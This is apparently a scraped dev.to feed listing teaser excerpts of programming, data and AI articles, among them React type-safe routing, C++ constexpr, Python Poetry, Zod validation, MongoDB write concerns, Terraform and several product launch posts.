    All Data and AI Weekly #217-24Nov2025 ( AI, Data, NiFi, Iceberg, Polaris, Streamlit, Flink, Kafka, Python, Java, SQL, MCP, LLM, RAG, Cortex AI, AISQL, Search, Unstructured Data ) NiFi + AI + AI Data Cloud + Iceberg. https://www.reddit.com/r/DataEngineeringForAI/hot/ Monthly NYC and Youtube Events https://lu.ma/PINSAI https://github.com/tspannhw/TrafficAI https://docs.snowflake.com/en/user-guide/tables-iceberg-query-using-external-query-engine-snowflake-horizon 🎤 Where in the AI Landscape is Tim Spann Tim Spann is having an incredibly busy season, driving innovation and sharing key insights across the industry. Event / Project Details Link New App Launch: RPIThermalStreaming Tim has built and launched a new application for thermal streaming using RPi technology. Vie…  ( 7 min )
    Type-Safe Routing in React Without Redefining Routes (No Giant Constant Objects)
    Introduction The reason I ended up writing this post started from pure coincidence. While browsing through technical blogs(sorry its korean ref), I saw an article that made me think about path auto-completion. When I first read the post, I genuinely thought it was impressive. But there were parts I couldn’t immediately wrap my head around, and I kept wondering whether there was room for improvement. In the projects I had worked on before, I didn’t even have path auto-completion— Because of that, whenever a route changed, I had to update every single reference. So I decided that I needed path auto-completion and type safety of my own. But I wasn’t satisfied with applying the blog’s solution as it was. Not to criticize it, but I didn’t like the idea of redefining every route inside a singl…  ( 9 min )
    const and constexpr
    Introduction While working on a personal project, I learned about constexpr. I understood the difference between const and constexpr. However, I wondered why constexpr is necessary when const seems sufficient. I want to share what I found in this article. A keyword that promises the compiler that a value cannot be changed. const int MAX_USERS = 100; MAX_USERS = 200; // Compilation error! Characteristics The initialization value can be known at compile time or at runtime. int A; std::cin >> A; const int B = A; // Valid // Constant B is determined at runtime, but cannot be changed afterwards. // The value doesn't need to be known at compile time, but once set, it cannot be changed. It becomes more powerful when used with references and pointers. const int* ptr1; // Ca…  ( 8 min )
    Build, Manage, and Ship Python Projects the Easy Way using Poetry
    A guide to understanding Python Poetry, how it works, and how to use it in your next Python project. Python development looks simple from the outside. But managing real projects is rarely easy. You need to install packages, update them, avoid version conflicts, create virtual environments, and prepare your project for distribution. Many beginners think they can handle everything with pip and venv. This works for small scripts, but becomes messy once your project grows. Poetry solves this problem by giving you one clean workflow for managing Python projects from start to finish. Poetry brings structure to your project. It automates package management, creates virtual environments independently, and prepares your project for building and publishing. It replaces many scattered tools, bringing…  ( 12 min )
    select1
    SELECT row_identifier, RTRIM(XMLAGG(XMLELEMENT(E, chunk_content).EXTRACT('/text()') ORDER BY chunk_num).GETCLOBVAL()) as full_text FROM ( SELECT t.ROWID as row_identifier, c.chunk_num, blob_to_text_range(t.CONTRAGRP, c.start_byte, c.end_byte) as chunk_content FROM ZExecDetail t CROSS JOIN LATERAL ( SELECT level as chunk_num, (level * 4000 - 3999) as start_byte, (level * 4000) as end_byte FROM dual CONNECT BY level <= CEIL(blob_length(t.CONTRAGRP) / 4000) ) c WHERE t.INTERNTIMESTAMP = to_orating_from_syb('May 25 2012 12:50:13:406PM') AND t.ORDERID = '1214650eat6' ORDER BY t.ROWID, c.chunk_num ) WHERE chunk_content IS NOT NULL GROUP BY row_identifier  ( 6 min )
    Como Validar Dados de Forma Segura com Zod ☀️
    1. Entendo a funcionalidade do ZOD Zod é uma biblioteca de validação de dados para TypeScript que permite definir schemas de forma simples e tipada. Com ele, é possível validar desde valores primitivos, como strings e números, até estruturas complexas, como objetos e arrays, garantindo segurança e consistência nos dados da aplicação. const formSchema = z .object({ username: z.string().min(5).max(12).trim(), email: z.email().min(5).trim().trim(), password: z.string().min(7), confirmPassword: z.string().min(7), }) .refine( (data) => data.confirmPassword === data.password, "As senhas não se coencidem" ); Antes de começarmos, precisamos instalar o Zod em nosso projeto. Para isso, basta executar o seguinte comando: yarn add zod. Com a instalação conclu…  ( 8 min )
    AI Amnesia: Selectively Forgetting with Geometric Unlearning
    AI Amnesia: Selectively Forgetting with Geometric Unlearning Imagine an AI trained on customer data that needs to 'forget' information related to a specific individual for legal reasons. Or, consider a model plagued by bias from a tainted dataset, where we need to surgically remove the problematic influences without destroying the model entirely. Can we make AI selectively forget, without harming its overall performance? At its core, geometric unlearning is about carving out a precise 'forgetting pathway' in the model's learning space. It's like carefully removing a single brick from a building's foundation without causing a collapse. The key idea is to decompose the 'forget' update into two components: one that is orthogonal to the knowledge we want to keep and another that is tangenti…  ( 7 min )
    Awesome Directories launches on Product Hunt THIS FRIDAY
    Awesome Directories launches on Product Hunt THIS FRIDAY Here's everything you need to know in one thread 🧵 (And how you can help, if you want) What is it? 300+ curated launch directories for indie hackers Free forever Open source (Apache-2.0) No sign-up required Built by a founder, for founders CLI available for nerds Why I built it I wasted 20 hours researching directories for my last launch That's it. That's the reason. Key features: Filter by DR, dofollow, pricing Multi-select checklist export Community voting (wisdom of crowds) Real-time search Screenshot generator for social Submission tracking (optional) Launch day plan (Friday 12:01am PST): I'll be: Responding to EVERY comment on PH Sharing behind-the-scenes on Twitter Probably drinking too much coffee Refreshing PH every 30 seconds How you can help (if you want): ✓ Upvote on Product Hunt (Friday morning) I'm not asking for charity. Only if you genuinely find it useful. Link in the first comment Why am I building in public? Because 15k LinkedIn followers with 200 avg impressions taught me: Follower count means nothing. Transparency > polish. See you Friday 🚀 I'll be the guy nervously refreshing PH at 12:01am https://www.producthunt.com/products/awesome-directories Let's goooo buildinpublic #indiehacker #opensource  ( 6 min )
    Building a 3D Virtual Portfolio Room🏠
    Building a 3D Interactive Portfolio Room — Looking for Collaborators! Hi everyone — I’d like to share a creative side project that I’ve been working on: a 3D interactive room portfolio, built purely with HTML, CSS, and JavaScript, where certificates hang on the walls like art in a gallery. 👉 Repo: Repo 👉 Live Demo: Live Demo It’s an experimental portfolio template (not a finished product) — you can walk around a room, rotate your view, zoom in and out, and click on certificates to view them in full. Everything is done using CSS 3D transforms, so there’s no heavy graphics engine — just creative use of basic web technologies. Includes ambient sound effects, smooth animations (like an opening door), and keyboard interactions (+/- to zoom, Enter to open door, 0 to reset view). Fully r…  ( 8 min )
    Using AI in Employee Onboarding: Transforming the New Hire Experience
    Artificial Intelligence (AI) is revolutionizing how companies onboard new employees. Integrating AI into the employee onboarding process enhances efficiency, personalization, and engagement. From automating repetitive tasks to providing intelligent recommendations, AI ensures a seamless and modern onboarding journey. AI streamlines onboarding by automating administrative tasks like document collection, account setup, and policy acknowledgment. This reduces manual work for HR teams, allowing them to focus on meaningful interactions. AI also helps track progress and ensures that new hires complete all necessary steps on time. AI-driven systems can tailor the onboarding experience to individual roles, skills, and learning preferences. Personalized learning paths, automated reminders, and targ…  ( 7 min )
    8 Blockchain Networks Developers Prefer for Real Throughput and Scalability in 2025
    Developer interest in blockchain has shifted drastically over the past two years. Instead of chasing hype cycles, engineers are now focusing on networks with real throughput, reliable tooling, and predictable fees. Searches related to buying specific assets like XRP and Solana remain popular among retail users, but developers are prioritizing ecosystems that match their technical needs. Most newcomers encounter onboarding tools like MoonPay when entering crypto for the first time, yet developers quickly move beyond on-ramps to evaluate how these networks perform under real workloads. Below is a roundup listicle of the network developers are adopting for serious builds. 1. Ethereum and Layer 2 Rollups Developers remain loyal to Ethereum due to its extensive tooling and documentation. Rollup…  ( 7 min )
    Dell No Bootable Device: Why 73% of Repair Shop Diagnoses Are Wrong [9420]
    Dell "No Bootable Device" Error: Why 73% of Repair Shop Diagnoses Are Wrong (And the Free Fix They Won't Tell You) The screen goes black. White text appears. Your Dell laptop displays words that make your chest tighten: "No Bootable Device Found. Press any key to reboot." You press a key. It reboots. Same message. Your mind races through everything stored on that machine. The presentation due tomorrow. Tax documents. Three years of photos. All of it, suddenly inaccessible behind five words on a black screen. Here's what repair shops don't want you to know: this error almost never means what you think it means. Your hard drive probably didn't explode. Your files likely aren't gone. In fact, 73% of "No Bootable Device" errors don't require hardware replacement at all — they're configuratio…  ( 15 min )
    Dell No Bootable Device: Why 73% of Repair Shop Diagnoses Are Wrong [4112]
    Dell "No Bootable Device" Error: Why 73% of Repair Shop Diagnoses Are Wrong (And the Free Fix They Won't Tell You) The screen goes black. White text appears. Your Dell laptop displays words that make your chest tighten: "No Bootable Device Found. Press any key to reboot." You press a key. It reboots. Same message. Your mind races through everything stored on that machine. The presentation due tomorrow. Tax documents. Three years of photos. All of it, suddenly inaccessible behind five words on a black screen. Here's what repair shops don't want you to know: this error almost never means what you think it means. Your hard drive probably didn't explode. Your files likely aren't gone. In fact, 73% of "No Bootable Device" errors don't require hardware replacement at all — they're configuratio…  ( 15 min )
    DeployEase — A Fully Automated AWS EC2 Deployment Platform for Modern Developers
    Deploying applications to AWS EC2 often becomes a repetitive, manual, and error-prone process involving SSH setups, Nginx configurations, environment handling, instance provisioning, and constant debugging. DeployEase is a platform I built to eliminate all of that complexity. DeployEase provides a clean, guided, and automated workflow for deploying Node.js, Python, React, and static applications directly to AWS EC2 with real-time logs, SSH access, autoscaling support, volume resizing, and complete instance lifecycle management. Whether you're a solo developer, a student learning cloud, or a freelancer building for clients, DeployEase streamlines deployment into an efficient, predictable, one-click experience. DeployEase uses OAuth GitHub login to let you sign in instantly. Your GitHub repo…  ( 9 min )
    Stop Paying for SaaS: The Ultimate Open Source "Free Stack" 💸
    As developers (and especially as students), we often fall into the trap of signing up for a dozen "free tier" SaaS products. Notion for notes. Jira for tasks. Vercel for hosting. Slack for chat. It works great... until you hit a paywall, or they change their pricing, or you realize you don't actually own any of your data. I decided to fix this. Over the last few weeks, I curated a massive list of Open Source alternatives to the most popular SaaS tools. These are tools you can self-host, run locally, or use for free without giving away your privacy. I call it The Free Stack. Here are 5 of my favorite discoveries from the list: If you love Notion but hate that it's cloud-only, check out AppFlowy. It's built with Rust and Flutter, meaning it's blazingly fast. You have 100% control over your data. This is a game changer. Coolify is an all-in-one PaaS that helps you self-host your own applications, databases, and services. It connects to your GitHub and deploys automatically. Designers, rejoice. Penpot is the first open-source design and prototyping platform meant for cross-domain teams. It is SVG-based and works right in the browser. You probably know this one, but it deserves the hype. Supabase gives you a Postgres database, Authentication, instant APIs, and Realtime subscriptions. Stop paying huge monthly fees just to have a conversational form on your site. Typebot is a visual conversational form builder that you can host yourself. I have compiled 50+ tools covering: 🏰 Project Management 💬 Communication 🛠️ Dev Tools 📊 Analytics 🔒 Privacy You can find the full list on GitHub here: The Free Stack on GitHub If you found this useful, dropping a Star ⭐ on the repo really helps others find these tools! Let me know in the comments: What is your favorite self-hosted tool that I missed?  ( 7 min )
    What writeConcern: {w: 1} really means? Isolation and Durability
    In MongoDB, a write concern of w:1 indicates that a write operation is considered successful once the primary node acknowledges it, without waiting for the data to be replicated to secondary nodes. While this reduces latency, it also introduces the risk that if the primary fails before replication occurs, the written data could be lost. In replica sets with multiple voters, such writes can be rolled back if a failure happens before a majority acknowledges the change. This is not the default setting. Most clusters (Primary-Secondary-Secondary) use an implicit w:majority write concern, which ensures durability in the event of a zone failure. The implicit default write concern is w:1 only when an arbiter is present (Primary-Secondary-Arbiter) or when the topology lowers the number of data-bea…  ( 13 min )
    Meetily vs Otter.ai: Privacy-First Alternative for 2025
    Is Otter.ai uploading your confidential meeting data to the cloud? For enterprise teams handling sensitive information, healthcare organizations bound by HIPAA, or European companies navigating GDPR compliance, this isn't just a privacy concern—it's a business liability. According to IBM's 2024 Cost of a Data Breach Report, the global average cost of a data breach reached $4.88 million. Yet teams still need AI-powered meeting intelligence. Enter Meetily: a privacy-first alternative that delivers Otter.ai's capabilities without compromising your data security. TL;DR: ✅ Meetily: 100% local processing vs Otter.ai's cloud-only approach ✅ Complete data sovereignty: your data never leaves your device ✅ Dual transcription engines: Whisper (state-of-the-art accuracy) or Parakeet (optimized for spe…  ( 12 min )
    Ringer Movies: Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value'
    Sean and Amanda dive headfirst into the looming Warner Bros. Discovery sale, debating whether Paramount, Comcast or Netflix will swoop in and what that means for the media landscape. They then shift gears to the baffling new Colleen Hoover adaptation Regretting You, sharing equal parts confusion and curiosity over its surprising twists. Next up: Joachim Trier’s Sentimental Value. They unpack why some viewers are moved to tears while others remain unmoved, then bring Trier himself on the mic to reveal how much of his own life seeps into Stellan Skarsgård’s character, the art of deep listening in filmmaking, and the nostalgia of shooting in his childhood neighborhood. Watch on YouTube  ( 6 min )
    Introduction to Terraform: Simplifying Infrastructure as Code
    In today's fast-paced world of software development, managing infrastructure can be a complex and time-consuming task. However, with the maturity of Infrastructure as Code (IaC) tools, developers and system administrators have powerful solutions to automate and streamline provisioning. In this post, we'll delve into Terraform, the industry-standard tool for this purpose, while also touching on the shifts in its ecosystem that every engineer should know about. Terraform, developed by HashiCorp (now an IBM company), is a source-available infrastructure provisioning and configuration management tool. It enables developers and operations teams to define and manage infrastructure resources declaratively using simple, human-readable configuration files.​ With Terraform, you can provision and man…  ( 8 min )
    What are your goals for the week? #154
    It's Thanksgiving week in America. Many of us will have a short work week. Then a holiday and a long weekend. What are you building this week? What are you working on this week? Are you attending any events this week? Are you doing anything for Thanksgiving? Continue Job Search. It's the end of the year so not many places are hiring. I doubt many are doing it this week due to the short week. Network. Redo resume Project work. Content for side project. Work on my own project. Follow Content & Project Calendar for November. Test streaming with new modem. Blog I want to blog more often and produce more than I did this time last year. Last year Nov word was count 5,568. So far this year, including this post 2,242. A bit behind but I'm working on two more posts for the week. 2,242/5,568…  ( 17 min )
    Recipe Step Normalizer — turn steps into JSON
    Shipped a tiny tool: Recipe Step Normalizer. Paste a list of recipe steps → get clean, numbered JSON you can use in code or automation. Demo: https://recipe-title-normalizer.vercel.app/step-normalizer Code: https://github.com/FelixJohnsson/recipe-title-normalizer  ( 6 min )
    Dell No Bootable Device: Why 73% of Repair Shop Diagnoses Are Wrong [9289]
    Dell "No Bootable Device" Error: Why 73% of Repair Shop Diagnoses Are Wrong (And the Free Fix They Won't Tell You) The screen goes black. White text appears. Your Dell laptop displays words that make your chest tighten: "No Bootable Device Found. Press any key to reboot." Here's what repair shops don't want you to know: this error almost never means what you think it means. Your hard drive probably didn't explode. Your files likely aren't gone. In fact, 73% of "No Bootable Device" errors don't require hardware replacement at all — they're configuration problems that take 15 minutes to fix yourself for free. The diagnostic process for "No Bootable Device" is simple, but it requires time. Here's the reality: Diagnosing configuration problems takes 30-60 minutes Replacing a hard drive takes…  ( 8 min )
    Lost in Translation: The Hidden Risks of Relying on Auto-Translation
    AI Auto translation tools. In a global market where every single message matters, even the tiniest mistake in ChatGPT translation can cost the business trust, revenue and loss of brand credibility. Nowadays, companies translate the content faster than ever, however, accuracy has not caught up with the speed. And it is exactly this gap where problems start. For many years, companies used to depend on basic auto-translation tools to promote global communication. These tools were said to provide the advantages of speed, affordability and convenience but their hidden risks were never mentioned. The main issue is that of accuracy. The basic tools do word-by-word translation rather than capturing the deeper meaning. Thus, it leads to errors in tone, cultural mismatches and expressions that misle…  ( 11 min )
    Training a model to predict a persuasion score for documents, but hitting a wall
    I’m building DocBeacon - secure document sharing and tracking platform. It shows exactly how readers interact with each page: scroll depth, dwell time, replays, and even heatmaps of attention. Recently I’ve been thinking about going a step further. Instead of just showing behavior metrics, what if DocBeacon could estimate how emotionally or cognitively engaged a reader is with a document? Something like a persuasion score that reflects how much a sales proposal actually moved them — did they seem convinced, neutral, or totally uninterested? The basic idea sounds simple: use past reading behavior data and train a model to predict the likelihood of acceptance. But here’s the problem: I have plenty of behavioral data (how people read), yet no solid labels on what happened after they read. Without knowing whether the reader ended up accepting the proposal, replying, or ghosting, the model can’t really learn meaningful correlations. Has anyone here tackled a similar cold-start problem? Curious to hear how others would approach building a persuasion predictor when you only have half the story.  ( 8 min )
    I built a custom range slider for Retool with a histogram built in
    I built a custom range slider for Retool with a histogram built in Range sliders in Retool are great until you need to understand your data. They let you pick min and max values, but they don’t tell you anything about the distribution itself. I kept running into this when building internal tools, so I built a custom range slider that includes a histogram, handles uneven distributions and exposes clean values. It’s written in TypeScript and works as a native Retool component. 🔗 GitHub repo: https://github.com/StackdropCO/custom-range-slider-retool-component 🔗 More Awesome Retool components here: https://github.com/StackdropCO/awesome-retool-components Here’s why I built it and how to use it. A real example that pushed me to do this: I needed a filter for “years of experience” inside a R…  ( 8 min )
    Meme Monday
    Meme Monday! Today's cover image comes from last week's thread. DEV is an inclusive space! Humor in poor taste will be downvoted by mods.  ( 7 min )
    Neovim x Unreal Engine: Zero-Config Debugging & A Dedicated Explorer 🚀
    Intro Here is this week's update on my plugin suite for Unreal Engine development in Neovim. My stance hasn't changed: "For heavy-duty debugging, full IDEs like Visual Studio or Rider are still king." So, this week, I released a debugging plugin to grant that wish, along with a specialized file explorer dedicated to the Unreal Engine project structure. UDB.nvim: A zero-config debugger bridge (no launch.json needed!). UNX.nvim: A lightweight logical file viewer & symbol tree specialized for UE projects. With these additions, I feel like Neovim has finally become a true "IDE for Unreal Engine." UDB.nvim is, as the name suggests, a bridge connecting Neovim (nvim-dap) and the Unreal Engine debugging environment. Its biggest feature is "Almost Zero-Config." launch.json. UDB automates this b…  ( 8 min )
    What is Digital Transformation Consulting?
    Some companies seem to keep moving forward while others struggle to keep pace. The difference often lies in digital transformation consulting, not in buying the latest software, but in rethinking how a business operates at every level. It’s about modernizing outdated systems, improving workflows, and helping teams work faster, smarter, and more efficiently. Consultants play a crucial role in this process, guiding organizations through strategy, technology adoption, and cultural change. They help businesses bridge the gap between where they are and where they need to be, ensuring progress that’s both measurable and sustainable. This article explores what digital transformation consulting really means, how it works in practice, and what to look for when your business is ready to evolve. Wha…  ( 11 min )
    A Client Asked Me to Add AI. I Spent 2 Weeks Researching the Costs. Here's What I Found.
    The math that changed how I think about AI features A client messaged me about adding ChatGPT to their invoicing app: "Can we add AI to help users write invoice descriptions? Budget is $15K." They have 500 users paying $20/month. Seemed straightforward. I started prototyping. The code was simple: const response = await openai.chat.completions.create({ model: "gpt-4", messages: [{ role: "user", content: userPrompt }] }); But before quoting, I decided to calculate the real long-term costs. What I found surprised me. I spent two weeks diving into AI economics. Not because I'm some expert, but because I couldn't find clear information anywhere about what it actually costs to run AI features at scale. Quick note: I built a simple calculator while researching this. If you want to run your o…  ( 9 min )
    Top 7 GenAI Usecases in Pharma
    2024 was the year of pilot projects. Pharma companies experimented with GenAI, tested narrow use cases, and debated its potential. In 2025, the conversation has shifted. Leaders are no longer asking if GenAI belongs in life sciences. The question now is where and how. That shift matters. GenAI is not just a shiny new tool. Done right, it can transform how pharmaceutical companies accelerate R&D, manage compliance-heavy processes, and improve the daily lives of both field teams and patients. But done wrong, it risks creating inefficiencies, compliance headaches, or worse, regulatory pushback. At Newpage, we see two patterns emerge when working with pharma and biotech teams. First, there are a handful of use cases that are mature, safe, and ready to deliver ROI right now. Second, there are o…  ( 7 min )
    Why Most Salesforce Implementations in Pharma Don’t Deliver (And How to Avoid the Trap)
    Every life sciences leader agrees on one thing: Salesforce should be a game-changer for pharma. On paper, it offers a complete view of HCPs, faster patient engagement, compliant workflows, and insights that help commercial and medical teams move smarter. But here is the paradox. Despite all that potential, a large percentage of Salesforce implementations in pharma fall flat. Some never take off, others become expensive shelfware, and a few even create compliance risks that no one anticipated. So what is really going on? As explored in detail at Newpage, it is rarely the platform itself that causes failure. The real challenge lies at the intersection of three forces: technology, regulation, and real-world pharma workflows. If those are not aligned from the start, even the best Salesforce bu…  ( 7 min )
    Microsoft и GitHub представили инструмент для устранения уязвимостей с помощью ИИ
    Microsoft и GitHub объединили аналитику времени выполнения с рабочими процессами разработки, чтобы использовать ИИ для приоритизации угроз и автоматизации исправлений. Нативная интеграция между Microsoft Defender for Cloud и GitHub Advanced Security позволит решить проблему «многолетней накопившейся задолженности по безопасности в корпоративных кодовых базах» Инструмент уже доступен в общедоступной предварительной версии. Он подключает аналитику времени выполнения из производственных сред непосредственно к рабочим процессам разработки. Цель — помочь организациям определить приоритетность уязвимостей и использовать ИИ для их более быстрого устранения. «На протяжении всей моей карьеры я наблюдал, как тенденции в области уязвимостей менялись. Неважно, насколько хорош и точен наш механизм обн…  ( 8 min )
    Vargula: Terminal Styling with Color Theory & Accessibility Built In
    🎨 Stop Fighting with ANSI Codes Let's be honest — styling terminal output in Python has always been a bit of a pain: # The old way 😓 print('\033[1m\033[91mError:\033[0m \033[4mFile not found\033[0m') Compare that to this: # The Vargula way ✨ import vargula as vg vg.write("Error: File not found") Much better, right? But Vargula goes way beyond just making syntax prettier. It brings color theory, accessibility checking, and professional UI components to your terminal. pip install vargula import vargula as vg # HTML-like tags for styling vg.write("This is red and bold") # Hex colors work too vg.write("Custom orange text") # Background colors with @ vg.write("Black on yellow</@ye…  ( 10 min )
    What is included in managed cloud support?
    Managed cloud support with Steadfast Solutions covers infrastructure management, performance monitoring, and 24/7 help desk assistance. They handle migration, configuration, and ongoing optimization to keep your cloud environment secure and efficient. This service includes server administration, security monitoring, backup, and maintenance. By outsourcing these tasks, Steadfast Solutions lets your internal IT team focus on strategic projects while ensuring seamless cloud operations and quick problem resolution.  ( 6 min )
    Quack into Action! Building Brilliant Agents with Docling-Agent & mellea
    Using Docling-Agent to build powerful agentic operations on documents, such as writing, editing, summarizing, etc. For those who’ve followed my blog, Docling needs no grand introduction. My unwavering support for this tool stems from its unparalleled capacity to simplify document processing, effortlessly parse diverse formats — including an advanced understanding of complex PDFs (and also other widely used document formats— and provide truly seamless integrations with the broader GenAI ecosystem. It’s truly a game-changer. Recognizing the growing demand for intelligent automation, the Docling team (almost) recently introduced a powerful agent module. This addition provides advanced capabilities crucial for implementing ‘agentic’ document processing, where intelligent agents can actively i…  ( 12 min )
    Polars vs Pandas: Why 2025 Data Scientists Must Master This New Power Tool
    For over a decade, Pandas has been the undisputed champion of data manipulation in Python. Every data scientist's journey begins with learning DataFrames, and Pandas has been synonymous with tabular data processing. But in 2025, a powerful challenger has emerged that's forcing professionals to reconsider their entire workflow: Polars. Core Bottlenecks Single-Threaded Execution: Pandas runs on a single core by default, leaving your multi-core processor mostly idle Memory Inefficiency: Python's object model creates overhead, especially with string data types Eager Evaluation: Every operation executes immediately, missing optimization opportunities Sequential Processing: Operations happen one after another, even when they could run in parallel When the Pain Hits • Large CSV Files: 10-15 m…  ( 11 min )
    We hosted a Live Session on Gemini 3 Pro Preview. Here's how it went.
    We just wrapped an action-packed session walking through Google's new Gemini 3 model and how it performs inside Kilo Code. We talked benchmarks and pricing, and even shipped an entire video game with one prompt using Kilo Deploy. Headline: Gemini 3 is Google's most capable model so far. Crushes benchmarks like GPQA Diamond, Humanity's Last Exam, MathArena Apex, and tops WebDev Arena and Terminal Bench 2.0 It has 1M+ token context, and up to ~65k output tokens It's designed to feel smart, concise, and direct. It's better at understanding intent so you don't have to over-prompt. Why should developers care? Google explicitly calls Gemini 3 their best vibe coding & agentic coding model yet. It picks human-sensible architectures and libraries, writes extendable code, and organizes mul…  ( 9 min )
    Coffee Haven - Uno Platform AI Challenge Entry
    Coffee Haven ☕ - Cross-Platform Coffee Shop App I built a professional coffee shop application for the Uno Platform AI Challenge Professional Design Clean, modern UI with warm color palette Real coffee images from Unsplash Smooth hover animations Gold badge labels (Signature, Popular, etc.) Menu Items Espresso ($3.50) Cappuccino ($4.50) Latte ($4.00) Americano ($3.00) Mocha ($5.00) Macchiato ($3.75) Cross-Platform Works on Windows, Mac, Linux Mobile responsive Web browsers (Chrome, Firefox, Safari, Edge) iOS/Android (via browser) HTML5 CSS3 with gradients and animations Vanilla JavaScript Google Fonts (Playfair Display + Inter) Responsive Grid Layout Elegant brown/cream/gold color scheme Playfair Display serif font for headings Interactive buttons with feedback Card hover effects Professional coffee photography Built for the WOW Factor category - creating a stunning, fast-loading coffee shop experience  ( 6 min )
    Better Agents CLI with Kilo Code and LangWatch
    Better Agents CLI with Kilo Code and LangWatch This is a guest post by Rogerio Chaves, CTO and Founder of LangWatch. He brings 14 years of software engineering experience to solving one of AI's biggest challenges: making AI agents more reliable, testable, and production-ready. Today, more than 95% of enterprise agent projects fail to reach production due to a lack of reliability, evaluation discipline, and trust. Most are abandoned entirely, never making it past prototype phase. The industry needs to mature. We need to build Better Agents. Over the past two years, LangWatch has worked with leading companies to help them cross the barrier of agent reliability and bring agent systems safely into production, while Kilo Code has been the leading open source coding assistant helping teams to…  ( 7 min )
    Do not let your code turn into sausage that goes beyond screen
    Today, we talk about a bug that shows in practice how "code sausage" can cause a series of problems related to the last line effect and careless copy-paste, as well as lead to new errors. The PVS-Studio team not only creates new diagnostic rules, but also gradually refines the existing ones. For example, we've recently enhanced one of the oldest diagnostic rules in the C# analyzer, V3001, to make it detect redundant parentheses more accurately. As a result, the analyzer started detecting new bugs, one of which we show you. This case was detected in the Space Engineers project; this is one of the projects in our internal regression testing database. We use a specific old project version to compare how the analyzer behaves on the same code across updates. But if we look at the latest source…  ( 8 min )
    The B2B Retention Playbook: A Developer's Checklist to Slash Churn and Maximize LTV
    As developers, we're wired to build and ship. We launch a feature, merge the PR, and move on to the next ticket. But in the world of B2B SaaS, the real work begins after the customer signs up. Shipping features isn't enough. If your users churn, you're just filling a leaky bucket. Great B2B customer retention isn't just the job of a Customer Success Manager; it's an engineering challenge. It's about building a product that's not just functional, but indispensable. This checklist is your playbook for instrumenting, automating, and engineering a retention strategy that scales. The goal here is simple: achieve Time To First Value (TTFV) as fast as humanly (and programmatically) possible. This is where you set the tone for the entire relationship. Don't make new users hunt for the value. Guide…  ( 10 min )
    The Rebirth of the Artist
    The Beatles' "Now And Then" won a Grammy in 2024, but John Lennon had been dead for over four decades when he sang the lead vocals. Using machine learning to isolate Lennon's voice from a decades-old demo cassette, the surviving band members completed what Paul McCartney called "the last Beatles song." The track's critical acclaim and commercial success marked a watershed moment: artificial intelligence had not merely assisted in creating art—it had helped resurrect the dead to do it. As AI tools become embedded in everything from Photoshop to music production software, we're witnessing the most fundamental shift in creative practice since the invention of the printing press. The traditional image of the artist—solitary genius wrestling with blank canvas or empty page—is rapidly becoming a…  ( 23 min )
    Rubree: A Modern Ruby Regex Editor Running Fully in Your Browser
    I’m excited to announce Rubree, a modern regular expression editor for Ruby developers — inspired by Rubular but rebuilt from scratch using Ruby, Rails, and WebAssembly (Wasm). Rubular has long been a beloved tool for Rubyists, but it comes with some limitations: Runs on older Ruby 2.5.9, which affects speed and maintainability Not open-source, making customization and internal investigation difficult Matching is server-dependent, requiring backend processing for every input Cannot visualize regex structure as a railroad diagram (like Regexper) Replacement preview is unavailable Rubree addresses these challenges by redesigning both the UI and backend logic, running entirely in the browser for a fast, modern regex experience. All regex evaluation runs locally in the browser using …  ( 7 min )
    From Code to Coffee: How Using Crypto in Daily Life Changed My Workflow (and What I Learned About On/Off Ramps) ☕️💸
    As developers, we love clean architecture, elegant APIs, and systems that don’t explode on Sunday nights. My “crypto-in-everyday-life” journey started when I tried paying for coffee with USDT during a trip. The terminal froze, the barista stared at me like I was trying to pay in ancient runes, and I realized something important: Crypto works great - as long as your On/Off-Ramp doesn’t betray you. On/Off Ramps are the invisible plumbing connecting Web3 to real-world payments. converting crypto → fiat fiat → crypto compliance checks bank integrations fraud detection settlement rails They’re the reason crypto spending feels like normal spending… or like a debugging session gone wrong. Some exchanges already provide full-scale solutions - crypto payrolls, instant withdrawals, automated convers…  ( 7 min )
    Dev.to Tag Hacking
    I was digging around some of my old blogs recently and spotted something interesting, well not interesting, but unexplained. I blog about the Power Platform, a lot, and one of the things I don't blog about is crypto, so I was surprised to see that a few on my blogs had these tags: #crypto #cryptocurrency #bitcoin #offers #web3 Yep it looks like someone hacked my tags, most likely in conjunction with spam comments to push something dodgy. I wanted a quick way to check all of my blogs and fix any, and luckily there is a API for that. As Dev.to is built on Forem it has a robust and open api (No known rate limits and auth only for personal permissions like creating a blog). The docs are great as well, https://developers.forem.com/api/, so it's easy to use. I used the https://dev.to/api/artic…  ( 7 min )
    What I Learned from Building a Solana Memecoin Intelligence System
    A Data-Driven Approach to Predicting Winners in the Wildest Market on Solana The Solana memecoin ecosystem moves faster than almost any market in crypto. Tokens appear, pump, rug, and disappear in minutes. When I started reviewing and improving the Solana Memecoin Intelligence System, I expected a simple prediction model. Instead, I discovered a deeply engineered ecosystem combining machine learning, blockchain intelligence, real-time market data, and a live Telegram alerting system. This project taught me far more than ML. It taught me how to engineer signals, build monitoring infrastructure, process high-velocity market data, and design an end-to-end intelligence pipeline for one of the most chaotic markets in crypto. Here’s a breakdown of what I learned. One thing became immediately cle…  ( 9 min )
    How Developers Use Crompt AI to Compare GPT, Claude & Gemini
    The first time I ran the same code review prompt through GPT-4.1, Claude Sonnet 4.5, and Gemini 2.5 Pro simultaneously, I discovered something uncomfortable: I'd been trusting the wrong model for the wrong tasks. GPT-4.1 gave me creative refactoring suggestions but missed a critical edge case. Claude caught the edge case immediately and explained the type safety issue in detail. Gemini flagged a performance bottleneck I hadn't even considered. Each model saw something the others missed. For two years, I'd been using ChatGPT exclusively because it was the first AI I'd adopted. I assumed if one AI could help with code, it was good enough. But watching three different models analyze the same problem revealed a truth most developers don't realize: no single AI model is best at everything, and …  ( 11 min )
    Building Voyage Planner – Modern Travel Booking Website
    👋 Hey Dev Community! I recently built Voyage Planner, a sleek, Firebase-powered travel booking website designed to make planning trips effortless for adventurers, families, and luxury travelers. In this project, I explored: 🎯 What I wanted to build – Dynamic audience-specific travel experiences 🛠️ Tech Stack – HTML, CSS, JavaScript, Firebase (Auth, Firestore, Storage) ⚠️ Challenges – Responsive design, Firebase integration, dynamic content segmentation 📚 Lessons Learned – Modular design, best practices for Firebase, audience-focused content 🔁 What I’d do differently next time – Improve scalability & add multi-user dashboards 💡 Curious how I made it all come together? Read the full detailed blog with images, icons, and step-by-step guide here: 👉 Read the Full Blog on Hashnodes: https://senzyscripts.hashnode.dev/building-voyage-planner-modern-travel-booking-website  ( 6 min )
    🔰 *SQL Programming Roadmap*
